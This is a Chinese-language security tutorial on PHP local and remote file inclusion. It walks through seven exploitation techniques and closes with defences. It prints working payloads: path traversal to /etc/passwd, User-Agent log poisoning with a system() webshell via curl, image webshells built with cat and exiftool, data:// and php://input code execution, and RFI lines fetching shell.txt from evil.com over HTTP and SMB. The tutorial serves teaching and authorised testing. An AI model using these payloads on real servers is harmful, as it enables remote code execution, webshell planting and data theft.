文件包含漏洞攻防:从LFI到RFI的7种利用与防御实践

文件包含漏洞攻防:从LFI到RFI的7种利用与防御实践
1. 项目概述文件包含漏洞的攻防博弈场在Web安全测试的日常工作中文件包含漏洞File Inclusion Vulnerability绝对算得上是一个“经典永流传”的议题。它不像SQL注入那样需要复杂的绕过也不像XSS那样依赖用户交互很多时候它就像一个被开发者无意间留下的“后门”一旦被发现攻击者就能以相对简单的操作撬动整个服务器的控制权。这个项目标题——“从图片木马到RFI攻击文件包含漏洞的7种花式利用姿势”精准地概括了这类漏洞的利用光谱从最基础的本地文件包含LFI读取敏感信息到利用图片隐藏恶意代码再到更危险的远程文件包含RFI直接执行远程服务器上的攻击载荷。这不仅仅是七个技巧的罗列更是一条从浅入深、从信息泄露到系统沦陷的攻击路径全景图。对于安全研究人员、渗透测试工程师甚至是有心加固自身系统的开发者而言透彻理解这七种姿势背后的原理、适用场景和防御方法其价值远超于掌握几个攻击命令。它帮助我们建立起对应用程序文件处理逻辑的深度审视能力明白一个看似无害的include($_GET[‘page’])语句在缺乏有效过滤时会如何演变成一场灾难。本文将从一个实战者的角度逐一拆解这七种利用方式不仅告诉你“怎么做”更重点剖析“为什么能这么做”以及“如何防止它发生”。我们会从最简单的本地文件包含开始逐步深入到利用PHP封装协议、日志注入、Session文件包含再到通过图片木马绕过上传限制最终触及威力巨大的RFI攻击。每个环节都会辅以真实的代码片段、操作步骤和我在实际测试中踩过的坑目标是让你读完就能在自家环境或授权的测试靶场中复现和理解整个过程。2. 漏洞原理与核心概念拆解在深入那些“花式姿势”之前我们必须先打好地基彻底搞清楚文件包含漏洞究竟是怎么一回事。很多初学者容易把它和文件上传漏洞混淆虽然它们有时会结合使用但核心原理截然不同。2.1 什么是文件包含文件包含是许多Web开发语言如PHP、JSP提供的一种代码复用机制。开发者可以将一些公共的代码如头部导航栏、尾部版权信息、数据库连接配置写在一个独立的文件中然后在需要的地方通过特定的函数将其内容引入并执行。在PHP中最常见的四个函数是include()require()include_once()require_once()它们的区别主要在于处理错误的方式include警告require致命错误和是否重复包含。一个典型的、安全的包含语句看起来是这样的include(‘header.php’);或include(‘./includes/’ . $fixed_page . ‘.php’);。这里的关键在于被包含的文件路径是开发者硬编码或经过严格控制的。2.2 漏洞如何产生漏洞产生的根源在于这个本应固定的文件路径其全部或一部分变成了用户可控的输入。最常见的情况是通过URL参数、Cookie或POST数据传递。例如一段存在漏洞的代码可能如下// vulnerable.php $page $_GET[file]; include($page . .php);攻击者可以通过构造URLhttp://target.com/vulnerable.php?file../../../../etc/passwd来尝试包含系统敏感文件。这里用户输入的file参数被直接拼接进include函数没有经过任何过滤。这就是本地文件包含Local File Inclusion, LFI攻击者可以读取服务器本地的任意文件前提是有读取权限。更危险的一种情况是应用程序的配置允许包含远程文件例如PHP的allow_url_include设置为On。那么攻击者可以构造http://target.com/vulnerable.php?filehttp://evil.com/shell.txt。这样服务器会去请求evil.com上的shell.txt里面是一段PHP代码并将其内容包含进来执行。这就是远程文件包含Remote File Inclusion, RFI它直接为攻击者打开了从外网植入Webshell的大门。注意现代PHP版本中allow_url_include默认是Off的这使得纯RFI漏洞较过去少见但绝非不存在。在一些老旧系统、特定配置或通过其他技巧如利用SMB、FTP等协议时RFI依然可能发生。2.3 关键影响因素与利用条件理解利用条件才能判断在什么场景下使用哪种姿势。包含函数的行为include和require都会执行被包含文件中的PHP代码。如果包含的是一个非PHP文件如.txt,.jpg它们会直接输出其内容。这个特性是很多利用手法的起点。目录遍历与路径截断这是LFI的基石。利用../上级目录进行路径遍历以及利用PHP旧版本中的空字符%00NULL字节截断来截断后缀是绕过固定后缀限制的经典方法。服务器配置allow_url_fopen和allow_url_include的开关直接影响RFI是否可行。open_basedir限制则会影响LFI能够访问的文件范围。文件上下文与日志服务器生成的任何文件只要攻击者能控制其中一部分内容且该文件能被包含就可能成为攻击入口。Web访问日志、错误日志、Session文件、上传的图片等都是潜在的“跳板”。3. 姿势一基础LFI与目录遍历这是文件包含漏洞利用的“新手村”。当目标存在LFI且没有目录限制或限制不严时我们可以直接读取服务器上的敏感文件。3.1 敏感信息搜集第一步永远是信息收集。通过LFI我们可以像翻阅一本打开的书一样查看服务器的内部信息。系统配置文件/etc/passwd确认用户列表虽然密码哈希现在多在/etc/shadow但这仍是系统存在的证明。/etc/hosts查看主机配置和可能的内部网络信息。/proc/version,/etc/issue获取操作系统和内核版本信息。Web应用相关文件../index.php,./config.php,../../config/db.php尝试读取Web目录下的配置文件获取数据库密码、API密钥等。../.htaccess,../.git/config了解服务器配置或发现源码泄露。日志文件这是后续利用的关键我们稍后详细展开。实操示例 假设存在漏洞的URL为http://target.com/show.php?pageabout尝试读取/etc/passwdhttp://target.com/show.php?page../../../../etc/passwd你需要不断尝试../的数量来跳出Web根目录这被称为“路径遍历”。3.2 利用PHP封装协议PHP提供了一系列封装协议Wrapper可以像处理普通文件一样处理各种数据流。在文件包含中它们是非常强大的工具。php://filter这是最常用且通常可用的协议即使allow_url_fopen关闭也能使用。它用于读取文件源码而不是执行。读取PHP源码如果直接包含一个.php文件其中的代码会被执行我们看不到源代码。使用php://filter可以将其内容以Base64等形式编码后输出。Payloadphp://filter/convert.base64-encode/resourceindex.php这个Payload会以Base64格式输出index.php的源代码解码后即可审计。zip://,phar://可以包含ZIP或PHAR归档中的文件。如果你能上传一个包含恶意PHP脚本的ZIP文件即使服务器只允许上传图片你也可以通过包含zip:///path/to/upload.zip%23shell.php来执行其中的PHP代码。这里的%23是#的URL编码用于指定归档内的文件。心得遇到疑似文件包含的点第一个测试动作不是../../etc/passwd而是php://filter/resourceindex.php。如果能看到非预期的输出比如源码或错误基本可以确认漏洞存在。这比遍历测试更隐蔽、更直接。4. 姿势二日志文件注入与包含这是LFI升级为代码执行的经典桥梁。思路是既然我们能包含服务器上的文件那么如果我能让服务器在某个可预测路径的文件里写入我想要的PHP代码再去包含它不就能执行代码了吗Web服务器的访问日志如Apache的access.log Nginx的access.log正是这样一个文件。4.1 原理剖析默认情况下Web服务器会将每一个HTTP请求的细节记录在日志文件中包括User-Agent头、Referer头、请求路径等。这些字段的内容通常来自客户端的请求。如果我们把PHP代码作为User-Agent发送那么这段代码就会被原样写入日志文件。例如正常的User-Agent可能是Mozilla/5.0 ...我们将其替换为?php phpinfo(); ?那么日志文件的一行就会变成192.168.1.100 - - [日期] GET /vulnerable.php?file... HTTP/1.1 200 1234 - ?php phpinfo(); ?现在如果我们通过LFI漏洞去包含这个日志文件本身当服务器把日志文件当作PHP代码解析时其中的?php phpinfo(); ?就会被执行。4.2 完整利用步骤确认日志路径这是最关键的一步。常见默认路径有Apache:/var/log/apache2/access.log,/var/log/httpd/access_log,C:\xampp\apache\logs\access.logNginx:/var/log/nginx/access.log可以通过LFI读取/etc/apache2/apache2.conf,/etc/nginx/nginx.conf或../index.php中的错误信息来推测。测试日志是否可读先尝试用php://filter读取日志文件确认其存在且Web进程有读取权限。注入PHP代码使用Burp Suite或Curl发送一个请求将恶意PHP代码置于User-Agent或Referer字段。curl -H User-Agent: ?php system(\$_GET[cmd]); ? http://target.com/vulnerable.php?filetest包含日志文件执行代码发起包含请求指向日志文件。http://target.com/vulnerable.php?file/var/log/apache2/access.log此时之前注入的代码会被执行。如果注入的是system(\$_GET[‘cmd’])那么可以通过cmdid来执行系统命令。4.3 难点与技巧日志文件过大真实的访问日志可能很大包含它会导致PHP内存耗尽或超时。解决方法是指定包含日志文件中我们注入的那一行附近的一个小范围如果支持或者更常见的是利用错误日志。向一个不存在的路径发送请求恶意代码会记录在错误日志error.log中这个日志通常更小。Payload可以放在请求的路径中如GET /?php phpinfo();? HTTP/1.1。特殊字符转义日志记录可能会对某些字符进行转义如引号、尖括号。需要观察日志的实际记录格式调整Payload。有时需要使用?短标签或script language”php”等替代写法。权限问题确保Web进程如www-data用户对日志文件有读取权限。通常这是满足的。踩坑实录在一次内网测试中我成功注入了日志但包含后始终无法执行代码。排查良久才发现目标服务器的PHP配置中short_open_tag是Off的而我注入的是?php ?标准标签。日志记录时和被转换成了HTML实体lt;和gt;导致标签失效。后来改用?即使short_open_tag为Off只要php.ini中未显式禁用?且PHP版本5.4它总是可用的或者确保Payload中的尖括号不被转义才最终成功。这个经历告诉我永远要验证注入内容的实际存储状态。5. 姿势三Session文件包含Session会话是Web应用维持用户状态的机制。PHP默认会将Session数据以文件形式存储在服务器上如/tmp/sess_[sessionid]。文件名中的[sessionid]通常通过Cookie中的PHPSESSID传递。如果攻击者能预测或控制Session文件的内容并知道其存储路径就能通过LFI包含它来执行代码。5.1 利用场景与条件Session内容可控很多应用会将用户输入的部分数据存入$_SESSION。例如用户昵称、邮箱等。如果应用有“设置个人信息”的功能且将用户输入的昵称未经过滤存入Session那么我们就控制了Session文件的一部分内容。Session文件路径已知或可预测PHP的Session文件存储路径由session.save_path配置决定。常见位置有/tmp,/var/lib/php/sessions,C:\Windows\Temp等。可以通过phpinfo()页面或包含/proc/self/environLinux来获取。Session ID可知Session ID通过Cookie传递我们当然知道自己的PHPSESSID。5.2 攻击步骤找到Session输入点寻找任何将用户输入存入Session的功能点如登录后的显示名、用户面板的简介等。污染Session向该功能点提交包含PHP代码的数据例如将昵称设置为?php phpinfo(); ?。确定Session文件路径和名称通过信息收集确定session.save_path。Session文件名格式通常为sess_[PHPSESSID]。通过LFI包含Session文件构造URL包含这个文件例如vulnerable.php?file/tmp/sess_abc123def456。如果包含成功我们写入的PHP代码就会被执行。5.3 进阶技巧竞争条件利用有时应用在将数据存入Session前会进行过滤或转义但可能存在一个时间窗口在过滤前数据被临时存入。或者Session文件的内容格式是固定的如nickname|s:20:”?php phpinfo(); ?”;其中的PHP代码被包裹在字符串里无法直接解析。 这时可以尝试利用序列化字符串逃逸或竞争条件。例如如果Session的序列化字符串处理不当通过精心构造输入可以“逃逸”出字符串的边界注入新的序列化对象。这需要更深入的PHP序列化知识。注意事项Session文件包含的利用条件比日志包含更苛刻因为它要求应用存在一个将用户可控数据存入Session的功能点。但在一些CMS或论坛的用户资料编辑处这并不少见。利用成功后其稳定性比日志包含更高因为Session文件是专门为你这个会话创建的内容纯净。6. 姿势四图片木马与文件上传结合这是非常常见的一种组合技。目标网站通常允许用户上传图片头像、附件但会通过后缀名.jpg,.png或MIME类型检查甚至图像重渲染GD库来防御。我们的目标是将一个Webshell隐藏在一张真实的图片中然后通过LFI漏洞去包含这个图片文件从而执行其中的代码。6.1 制作图片木马核心原理是在图片文件的元数据区或文件末尾追加PHP代码。图片查看器会忽略这些非图像数据而PHP的include()函数在包含这个文件时会从头到尾解析遇到?php ?标签就会执行。直接追加这是最简单的方法。cat shell.php image.jpg其中shell.php内容为?php eval($_POST[‘cmd’]);?。生成的新image.jpg既是一张正常的图片也包含恶意代码。利用Exif信息使用exiftool工具可以将PHP代码写入图片的Exif元数据字段如DocumentName或Artist。exiftool -Comment?php system($_GET[c]); ? image.jpg绕过图像重渲染如果服务器使用GD库等函数对上传的图片进行二次处理压缩、缩放直接追加的代码可能会被清除。这时需要制作一个Polyglot文件多语文件即一个既是合法图片又是合法PHP的文件。这通常需要深入理解图片文件格式如JPEG的段结构在不会破坏图片结构的注释段如COM段中插入代码。手工制作较复杂但已有相关工具和研究。6.2 触发包含执行成功上传图片木马后我们需要知道它的存储路径。通常上传后的路径是可预测或有规律可循的例如/uploads/2023/05/abc123.jpg。 然后利用存在的LFI漏洞去包含这个图片文件vulnerable.php?file../../uploads/2023/05/abc123.jpg如果服务器配置了magic_quotes_gpc已废弃或进行了特殊字符过滤可能会在包含路径上遇到问题。此时可以结合php://filter来读取图片内容但注意php://filter用于读取要执行代码仍需直接包含。6.3 防御与绕过这种利用方式催生了严格的防御措施文件内容检查使用getimagesize()函数验证文件确实是有效的图像。图像重采样用GD或Imagick库重新生成图片剥离所有非图像数据。存储文件重命名将上传的文件重命名为随机名称并隐藏原始后缀。绕过思路针对getimagesize()只要文件头如FF D8 FF E0for JPEG正确它就会返回真。我们可以在正确文件头后追加代码。图像重采样是较有效的防御制作Polyglot图片是主要研究方向。随机重命名增加了预测路径的难度但如果LFI漏洞点本身就在上传功能附近如包含上传的临时文件或者存在其他信息泄露如上传成功后会返回文件路径则仍有可能利用。实操心得在实际测试中我更喜欢使用exiftool注入Exif的方式因为它操作简单且注入到注释字段的代码在简单的图片查看中不易察觉。上传后先用php://filter/convert.base64-encode/resource去读取一下这个图片文件确认PHP代码是否完整存在。如果存在再尝试直接包含。如果网站做了重渲染那么Exif信息很可能被保留而追加在文件末尾的代码则容易被清除。7. 姿势五PHP输入输出流与数据包装当直接的文件包含被限制时PHP内置的一些“流”和“包装器”可以为我们提供新的数据输入通道。7.1php://input流php://input是一个只读流可以访问请求的原始数据即HTTP POST请求的Body部分。当allow_url_include为On时它可以被include()或require()包含。利用方式发送一个POST请求。在请求Body中直接写入PHP代码例如?php system(‘whoami’); ?将包含的参数指向php://input。POST /vulnerable.php?filephp://input HTTP/1.1 ... ?php system(whoami); ?服务器执行include(‘php://input’)时就会读取并执行POST Body中的代码。限制这要求allow_url_includeOn且enctype不能是multipart/form-data因为该模式下php://input不可用。7.2data://协议data://协议允许在URL中直接嵌入数据。格式为data://[mediatype][;base64],data。利用方式 如果allow_url_include和allow_url_fopen均为On可以构造如下Payloadvulnerable.php?filedata://text/plain,?php phpinfo();?或者使用Base64编码绕过可能的特殊字符过滤vulnerable.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8这相当于在参数中直接携带了一个可执行的“文件”极其方便。限制同样严重依赖allow_url_include的开启状态。7.3expect://协议这是一个不太常见但威力巨大的包装器。如果PHP安装了expect扩展默认不安装可以通过expect://直接执行系统命令。vulnerable.php?fileexpect://ls这行代码会执行ls命令。由于依赖特定扩展实战中遇到的机会较少但一旦存在就是最直接的命令执行。8. 姿势六环境变量与临时文件包含服务器的运行环境本身也会产生一些包含用户输入的文件这些都可以成为目标。8.1/proc/self/environ包含在Linux系统中/proc/self/environ是一个特殊的文件它包含了当前进程这里是Web服务器进程的所有环境变量。而环境变量中HTTP_USER_AGENT、HTTP_REFERER等正是来自我们的HTTP请求头。利用方式 与日志注入类似但目标是/proc/self/environ文件。修改User-Agent为PHP代码?php system($_GET[‘cmd’]);?包含/proc/self/environ文件vulnerable.php?file../../../proc/self/environ如果包含成功我们的User-Agent作为环境变量的一部分被解析执行。优势这个文件通常比日志文件小且实时反映当前进程环境无需等待日志滚动。限制需要Web进程有读取/proc/self/environ的权限且该文件内容可能被截断或包含特殊字符导致解析失败。8.2/proc/self/fd/目录/proc/self/fd/目录包含了当前进程打开的所有文件描述符的符号链接。有时通过包含这些描述符特别是标准输出、错误输出可以读到一些有趣的信息。但这更像一种信息搜集手段用于代码执行比较困难。8.3 临时文件竞争包含这是一种需要精确时序攻击的高阶技巧。思路是如果有一个功能会短暂地创建一个包含用户输入内容的临时文件例如处理文件上传时的临时副本、缓存某些数据并且在删除前有一小段时间窗口。如果我们能通过LFI在这个时间窗口内包含这个临时文件就能执行代码。 这通常需要编写脚本进行高并发爆破预测临时文件的命名规则如/tmp/phpXXXXXX成功率较低但理论上是可行的。9. 姿势七远程文件包含与协议拓展这是文件包含漏洞的“终极形态”直接从远程服务器加载并执行代码危害性最大。9.1 经典RFI当allow_url_include On时攻击变得非常简单vulnerable.php?filehttp://evil.com/shell.txt其中shell.txt内容为?php eval($_POST[‘pass’]);?。服务器会请求这个URL将返回的内容作为PHP代码执行。攻击者从而获得一个Webshell。9.2 利用SMB、FTP等协议绕过即使allow_url_include为Offallow_url_fopen有时是为On的默认可能如此。这时虽然不能直接包含http://但可以尝试包含smb://或ftp://等协议。为什么因为allow_url_include仅控制include/require等函数是否允许包含URL。而allow_url_fopen控制的是fopen()等文件系统函数是否能打开URL。在某些PHP版本或特定上下文下包含函数在处理这些协议时行为可能有所不同。 例如攻击者可以搭建一个开放的SMB共享将Webshell文件放在共享中然后尝试包含vulnerable.php?file\\evil.com\share\shell.txt(Windows路径) 或vulnerable.php?filesmb://evil.com/share/shell.txt限制这种利用方式高度依赖于PHP版本、操作系统和服务器配置并且需要目标服务器能访问到攻击者的SMB/FTP服务器可能涉及出网防火墙规则。9.3 RFI与钓鱼、水坑攻击结合RFI的威胁不仅在于获取单个服务器权限。攻击者可以将恶意脚本托管在受信任的第三方网站如GitHub Gist、Pastebin或通过XSS劫持的合法网站使得包含请求看起来是向合法域名发起的增加了隐蔽性。更进一步可以结合水坑攻击将RFI Payload植入到目标用户经常访问的、被攻陷的网站上当管理员从内部访问存在漏洞的应用时就会触发包含实现从外到内的穿透。防御视角从以上七种姿势可以看出防御文件包含漏洞必须多管齐下1. 绝对禁止用户输入直接控制包含路径使用白名单机制是唯一可靠的方法。2. 关闭不必要的配置allow_url_include和allow_url_fopen应设置为Off。3. 设置open_basedir将PHP可访问的文件限制在Web目录内。4. 对文件上传进行严格处理包括内容检查、重渲染和重命名。5. 确保日志、Session等文件存储在Web目录之外并严格控制权限。6. 及时更新和修补系统与中间件避免已知的协议处理漏洞。理解攻击是为了更好地防御。